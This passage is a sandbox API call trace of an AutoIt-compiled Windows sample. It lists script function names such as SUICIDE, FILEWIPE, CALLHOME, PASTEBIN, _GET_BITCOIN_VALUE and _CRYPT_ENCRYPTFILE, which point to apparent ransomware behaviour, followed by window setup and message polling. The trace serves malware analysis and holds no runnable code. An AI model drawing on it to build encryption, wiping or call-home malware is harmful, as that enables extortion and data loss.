[0034.826] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0034.826] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0034.826] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0034.826] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0034.826] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.826] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.826] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0034.826] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0034.826] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0034.826] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0034.826] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0034.826] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0034.826] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0034.826] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0034.826] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0034.826] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0034.826] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0034.826] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0034.826] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0034.826] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0034.826] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0034.826] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0034.826] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0034.826] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0034.826] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0034.826] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0034.826] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0034.827] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0034.827] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0034.827] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0034.827] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0034.827] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0034.827] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0034.827] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0034.827] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0034.827] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0034.827] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0034.827] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0034.827] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0034.827] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0034.827] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0034.827] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0034.827] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0034.827] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0034.827] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0034.827] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0034.827] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0034.827] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0034.827] AllocateAndInitializeSid (in: pIdentifierAuthority=0x26a4a5f6a8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x26a4a5f6b0 | out: pSid=0x26a4a5f6b0) returned 1 [0034.827] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x26a4c67d60, IsMember=0x26a4a5f6a0 | out: IsMember=0x26a4a5f6a0) returned 1 [0034.827] GetSysColorBrush (nIndex=15) returned 0x1100074 [0034.827] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0034.827] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0x63) returned 0x4020f [0034.828] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa4) returned 0x40207 [0034.828] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa2) returned 0x801c7 [0034.829] LoadImageW (hInst=0x7ff756b50000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x6a01a7 [0034.829] RegisterClassExW (param_1=0x26a4a5f640) returned 0xc145 [0034.829] GetSysColorBrush (nIndex=15) returned 0x1100074 [0034.829] RegisterClassExW (param_1=0x26a4a5f5b0) returned 0xc146 [0034.829] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0034.829] InitCommonControlsEx (picce=0x26a4a5f618) returned 1 [0034.829] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0x26a4b31900 [0034.830] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa9) returned 0x280183 [0034.830] ImageList_ReplaceIcon (himl=0x26a4b31900, i=-1, hicon=0x280183) returned 0 [0034.831] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x5002c [0034.831] NtdllDefWindowProc_W (hWnd=0x5002c, Msg=0x24, wParam=0x0, lParam=0x26a4a5f090) returned 0x0 [0034.831] NtdllDefWindowProc_W (hWnd=0x5002c, Msg=0x81, wParam=0x0, lParam=0x26a4a5f040) returned 0x1 [0034.832] NtdllDefWindowProc_W (hWnd=0x5002c, Msg=0x83, wParam=0x0, lParam=0x26a4a5f0b0) returned 0x0 [0034.836] SetTimer (hWnd=0x5002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0034.836] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0034.836] CreatePopupMenu () returned 0xe00d9 [0034.836] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x5002c, hMenu=0x1, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x6018c [0034.843] NtdllDefWindowProc_W (hWnd=0x5002c, Msg=0x210, wParam=0x10001, lParam=0x6018c) returned 0x0 [0034.843] ShowWindow (hWnd=0x5002c, nCmdShow=0) returned 0 [0034.843] ShowWindow (hWnd=0x5002c, nCmdShow=0) returned 0 [0034.843] Shell_NotifyIconW (dwMessage=0x0, lpData=0x26a4a5f2c0) returned 1 [0034.859] Shell_NotifyIconW (dwMessage=0x1, lpData=0x26a4a5eec0) returned 1 [0034.859] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0034.860] TranslateMessage (lpMsg=0x26a4a5f4c0) returned 0 [0034.860] DispatchMessageW (lpMsg=0x26a4a5f4c0) returned 0x0 [0034.860] NtdllDefWindowProc_W (hWnd=0x5002c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0034.860] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.860] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.860] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0034.860] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.860] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0034.860] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.860] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0034.860] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.860] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0034.860] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.860] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0034.860] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.860] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0034.860] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.860] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0034.861] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.861] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0034.861] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.861] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0034.861] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.861] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0034.861] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.861] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.861] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.861] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.861] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.862] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.863] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, 